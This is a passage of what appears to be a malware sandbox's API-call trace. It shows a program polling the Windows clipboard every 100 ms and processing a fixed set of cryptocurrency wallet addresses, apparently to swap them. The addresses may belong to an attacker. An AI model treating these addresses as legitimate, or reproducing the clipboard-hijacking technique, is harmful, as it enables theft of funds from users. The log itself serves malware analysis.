lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0046.225] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0046.225] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0046.225] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0046.225] Sleep (dwMilliseconds=0x64) [0046.343] GetOpenClipboardWindow () returned 0x0 [0046.343] OpenClipboard (hWndNewOwner=0x0) returned 1 [0046.343] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0046.343] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0046.343] GlobalSize (hMem=0x6069b8) returned 0x42 [0046.343] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0046.343] GlobalUnlock (hMem=0x6069b8) returned 1 [0046.343] CloseClipboard () returned 1 [0046.343] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.344] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.344] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.344] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.344] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.344] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.344] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.344] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.344] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.344] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.345] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.345] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.345] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.345] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.345] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.345] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.345] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.345] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.345] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.347] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.347] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.347] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.347] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.347] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0046.347] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0046.347] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0046.347] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0046.347] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0046.347] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0046.347] Sleep (dwMilliseconds=0x64) [0046.649] GetOpenClipboardWindow () returned 0x0 [0046.649] OpenClipboard (hWndNewOwner=0x0) returned 1 [0046.649] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0046.649] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0046.650] GlobalSize (hMem=0x6069b8) returned 0x42 [0046.650] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0046.650] GlobalUnlock (hMem=0x6069b8) returned 1 [0046.650] CloseClipboard () returned 1 [0046.650] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.650] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.650] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.650] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.650] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.650] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.651] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.651] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.651] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.651] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.651] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.651] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.651] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.652] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.652] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.652] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.652] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.652] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.652] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.652] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: 